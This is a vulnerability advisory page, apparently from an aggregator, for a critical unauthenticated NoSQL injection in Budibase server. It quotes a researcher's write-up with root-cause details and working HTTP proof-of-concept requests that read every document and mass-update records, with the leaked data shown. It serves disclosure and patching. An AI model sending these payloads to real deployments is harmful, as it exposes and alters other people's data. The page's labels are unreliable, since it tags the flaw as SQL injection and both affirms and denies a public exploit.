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Docker CVE-2026-54350

| EUVDEUVD-2026-39914 CRITICAL
SQL Injection (CWE-89)
2026-06-23 https://github.com/Budibase/budibase GHSA-8qv3-p479-cj62
9.8
CVSS 3.1 · NVD
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Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Parameterized queries, prepared statements
MITRE ATT&CK

2 techniques across 2 tactics: Initial Access, Persistence

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Act Now Prioritize within 24-48h. Why: CRITICAL severity.
Patch available 0.4% exploitation probability (EPSS)

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AnalysisAIv1 – Jul 27, 2026

Unauthenticated NoSQL operator injection in Budibase server <= 3.39.0 allows anonymous attackers to read or modify all documents in any MongoDB, CouchDB, Elasticsearch, DynamoDB-PartiQL, or REST-with-JSON-body datasource when a builder has published a query with a PUBLIC role. By injecting JSON metacharacters through query parameters, an attacker can override the intended filter, bypass authentication, and exfiltrate sensitive data or mass-update records in a single HTTP request. Exploit code is publicly available, though no active exploitation is confirmed, and the vulnerability has been patched in version 3.39.12.

Affected VersionsENISA

budibase < 3.39.12

Affected Packages

npm @budibase/server fix: 3.39.12
euvd budibase fix: 3.39.12

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 2 packages in npm, euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

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  • Exploit and PoC references, threat intelligence from 22 sources

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Severity by source

NVD PRIMARY 9.8 CRITICAL
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
vuln.today AI 9.4 CRITICAL

Unauthenticated single-request injection (AV:N/AC:L/PR:N/UI:N) gives full read and write to the collection (C:H/I:H); availability is A:L since data destruction needs a separately published PUBLIC delete query.

3.1 AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:L
4.0 AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:L/SC:N/SI:N/SA:N

Primary rating from NVD.

CVSS VectorNVD

Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
High

Lifecycle Timeline

5
Analysis Updated
Jun 30, 2026 - 19:58 vuln.today
v3 - CVSS changed
Analysis Updated
Jun 30, 2026 - 19:58 vuln.today
v2 - CVSS changed
CVSS changed
Jun 30, 2026 - 19:52 NVD
10.0 (CRITICAL) 9.8 (CRITICAL)
CVE Published
Jun 23, 2026 - 17:43 github-advisory
CRITICAL 10.0
CVE Published
Jun 23, 2026 - 17:43 nvd
CRITICAL 9.8

DescriptionNVD

Summary

enrichContext at packages/server/src/sdk/workspace/queries/queries.ts:121-138 substitutes parameter values into the raw JSON body of a query, then JSON.parses the result. The validator validateQueryInputs at packages/server/src/api/controllers/query/index.ts:61-71 rejects only Handlebars markers ({{, }}) in user input and does not escape JSON metacharacters (", \, }). A parameter value containing a closing quote and additional keys lifts attacker-controlled fields into the parsed filter object.

For Mongo find, the parsed filter passes directly to collection.find() (packages/server/src/integrations/mongodb.ts:506-510). Duplicate-key JSON parsing overrides the builder's {name: "..."} with {name: {$exists: true}} and returns every document. The same primitive against an updateMany query (mongodb.ts:577-585) widens the filter scope to the full collection while the builder-controlled $set body runs against every matched document.

The authorized middleware at packages/server/src/middleware/authorized.ts:141-148 short-circuits when the query's role is PUBLIC. CSRF is not enforced on this path. POST /api/v2/queries/:queryId (packages/server/src/api/routes/query.ts:63) accepts the call with no session, only an x-budibase-app-id header that is public from the published-app URL.

Result: an unauthenticated visitor of any published Budibase app reads every document of the backing MongoDB, CouchDB, Elasticsearch, DynamoDB-PartiQL, or REST-with-JSON-body collection and, where the builder has published a PUBLIC write query, modifies every document of that collection with one HTTP request.

Affected

Budibase/budibase server, @budibase/server package, <= 3.39.0 (HEAD feab995, released 2026-05-20).

Reachable on any deployment where a workspace builder has set the role of a non-SQL query (MongoDB, CouchDB, Elasticsearch, DynamoDB-PartiQL, or REST with bodyType=json) to PUBLIC and published the app. This is the canonical low-code public-form use case.

SQL datasources (Postgres, MySQL, MSSQL, Oracle, MariaDB) route through interpolateSQL and are not affected.

Root cause

packages/server/src/sdk/workspace/queries/queries.ts:121-138: processStringSync(fields[key], parameters, {noEscaping: true, noHelpers: true}) writes the raw parameter value into the JSON-body string with no JSON-string escape; the followup JSON.parse(enrichedQuery.json || enrichedQuery.customData || enrichedQuery.requestBody) lifts the substituted text into the integration filter object.

packages/server/src/api/controllers/query/index.ts:61-71: validateQueryInputs only rejects values where findHBSBlocks(value).length !== 0 (Handlebars markers) and ignores JSON metacharacters.

packages/server/src/integrations/mongodb.ts:506-510: collection.find(json) receives the user-controlled filter object directly with no key prefix or operator allow-list.

packages/server/src/integrations/mongodb.ts:577-585: collection.updateMany(json.filter, json.update, json.options) accepts the templated filter without verifying that the substituted filter still matches the builder's intent.

packages/server/src/middleware/authorized.ts:141-148: if (resourceRoles.includes(roles.BUILTIN_ROLE_IDS.PUBLIC)) return next() skips both authentication and CSRF.

packages/server/src/integrations/queries/sql.ts:29-122: interpolateSQL rewrites every {{ binding }} to a positional bind placeholder ($N or ?). The SQL leg is bind-parameterised; the JSON leg is not.

Reproduction

budibase/budibase:latest (v3.39.0) Docker single-container, default config. Builder logs in once, creates a MongoDB datasource, creates a query GetUserByName with body { "name": "{{ name }}" }, sets the query role to PUBLIC, and publishes the app.

  1. Anonymous client sends the inject payload to the read query.
http
POST /api/v2/queries/<read-queryId> HTTP/1.1
Host: <budibase-host>
x-budibase-app-id: <published-appId>
Content-Type: application/json

{"parameters":{"name":"x\",\"name\":{\"$exists\":true},\"$comment\":\"audit"}}
json
{"data":[
  {"_id":"...","name":"alice","secret":"alice-secret-flag"},
  {"_id":"...","name":"bob","secret":"bob-secret-flag"},
  {"_id":"...","name":"admin","role":"admin","secret":"ADMIN-SUPER-SECRET-FLAG"}
]}
  1. Builder publishes a second query TouchUser (verb update, action updateMany, body { "filter": { "name": "{{ name }}" }, "update": { "$set": { "touched": true } } }, role PUBLIC). Anonymous client sends the same inject pattern.
http
POST /api/v2/queries/<updateMany-queryId> HTTP/1.1
Host: <budibase-host>
x-budibase-app-id: <published-appId>
Content-Type: application/json

{"parameters":{"name":"x\",\"name\":{\"$exists\":true},\"$comment\":\"esc"}}
json
{"data":[{"acknowledged":true,"matchedCount":3,"modifiedCount":3,"upsertedId":null,"upsertedCount":0}]}

Live-verified: against Budibase v3.39.0 on 2026-05-20, anonymous read returned every document including ADMIN-SUPER-SECRET-FLAG; anonymous updateMany reported matchedCount: 3, modifiedCount: 3 against a 3-document collection where the builder's filter intended name = "x".

Impact

  • Anonymous read of every document in any backing MongoDB, CouchDB, Elasticsearch, DynamoDB-PartiQL, or REST-with-JSON-body collection reachable through a PUBLIC query, including columns the published query was not designed to return (password_hash, secret, api_token, mfa_secret).
  • Anonymous modification of every document of that collection where the builder has published a PUBLIC update, delete, or aggregate query, beyond the builder's intended single-document scope.
  • One HTTP request, no session, no CSRF, no user interaction.

Credit

Jan Kahmen, turingpoint (jan@turingpoint.de).

Threat Intelligence Overview

EPSS Score
0.4%
Top 66% exploitable
Threat Intel
1
1 source
Data Quality
6 sources
Confidence: High

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity CRITICAL
CISA KEV No
Public POC No
EPSS 0.4%
Patch available Yes
Active threat No
Deciding rule
CRITICAL severity
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Scheduled
Exploitation· derived
None
System Exposure· derived
Open
Automatable· derived
Yes
Human Impact· derived
Medium

Priority Score

49
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +49
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

SQL injection exploits the way applications construct database queries by mixing user input directly into SQL statements.

Cross-Site Request Forgery exploits the automatic credential inclusion behavior of web browsers.

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